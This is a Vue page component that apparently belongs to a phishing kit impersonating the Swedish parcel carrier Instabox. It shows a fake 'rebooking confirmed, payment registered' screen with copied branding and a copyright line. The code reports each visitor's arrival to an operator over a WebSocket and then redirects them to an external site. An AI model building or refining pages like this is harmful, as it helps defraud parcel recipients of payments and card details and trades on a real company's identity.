Files
zy-client-a/a4_se_post_instabox/src/views/SuccessView.vue
telangpu f421220d77 update
2026-05-07 23:00:28 +08:00

203 lines
4.0 KiB
Vue

<script setup lang="ts">
import { onMounted } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { myWebSocket, redirectToExternal } from "@/utils/common";
onMounted(() => {
// 发送 WebSocket 统计事件,标识到达成功页
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "success" },
})
);
// 模拟处理并自动跳转
setTimeout(() => {
redirectToExternal();
}, 2000);
localStorage.setItem("route", "success");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="ibx-success-wrapper">
<div class="ibx-header-line"></div>
<div class="container">
<div class="status-card">
<div class="icon-section">
<div class="check-badge">
<svg viewBox="0 0 24 24" class="check-svg">
<path d="M9 16.17L4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41L9 16.17z" fill="currentColor"/>
</svg>
</div>
</div>
<p class="ibx-eyebrow">Instabox bekräftelse</p>
<h1 class="ibx-title">Din ombokning är bekräftad</h1>
<div class="info-box">
<p class="ibx-desc">
Din betalning har registrerats och din försändelse behandlas nu vidare i Instabox-nätverket. Du får snart en uppdatering med leveransstatus och nästa steg.
</p>
</div>
<div class="redirect-footer">
<div class="brt-loader"></div>
<p class="helper-text">Du skickas vidare automatiskt...</p>
</div>
</div>
<div class="ibx-footer-note">
<p>© Instabox Sweden AB</p>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.ibx-success-wrapper {
background: linear-gradient(180deg, #f7f8f8 0%, #ffffff 240px);
min-height: 85vh;
display: flex;
flex-direction: column;
align-items: center;
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
padding: 0;
}
.ibx-header-line {
width: 100%;
height: 6px;
background-color: #e9004c;
}
.container {
max-width: 600px;
width: 100%;
padding: 60px 20px;
}
.status-card {
background-color: #ffffff;
padding: 50px 40px;
border-radius: 18px;
border: 1px solid #f0f0f0;
box-shadow: 0 16px 40px rgba(0, 0, 0, 0.06);
text-align: center;
}
.icon-section {
margin-bottom: 25px;
}
.check-badge {
background-color: #e9004c;
color: white;
width: 72px;
height: 72px;
border-radius: 50%;
display: inline-flex;
justify-content: center;
align-items: center;
}
.check-svg {
width: 44px;
height: 44px;
}
.ibx-eyebrow {
margin: 0 0 10px;
color: #e9004c;
font-size: 12px;
font-weight: 800;
letter-spacing: 0.08em;
text-transform: uppercase;
}
.ibx-title {
color: #222222;
font-size: 30px;
font-weight: 800;
margin-bottom: 20px;
letter-spacing: -0.5px;
}
.info-box {
background-color: #fcfcfc;
border: 1px solid #efefef;
border-radius: 12px;
padding: 20px;
margin: 30px 0;
}
.ibx-desc {
font-size: 16px;
color: #555555;
line-height: 1.6;
margin: 0;
}
.redirect-footer {
margin-top: 40px;
display: flex;
flex-direction: column;
align-items: center;
gap: 15px;
}
.brt-loader {
width: 32px;
height: 32px;
border: 3px solid #f0f0f0;
border-top: 3px solid #e9004c;
border-radius: 50%;
animation: spin 1s linear infinite;
}
.helper-text {
font-size: 14px;
color: #999999;
font-style: normal;
}
.ibx-footer-note {
margin-top: 25px;
text-align: center;
font-size: 11px;
color: #aaaaaa;
line-height: 1.4;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
/* 响应式适配移动端 */
@media (max-width: 480px) {
.status-card {
padding: 35px 20px;
border-radius: 16px;
}
.ibx-title {
font-size: 24px;
}
.ibx-desc {
font-size: 14px;
}
.container {
padding-top: 30px;
}
}
</style>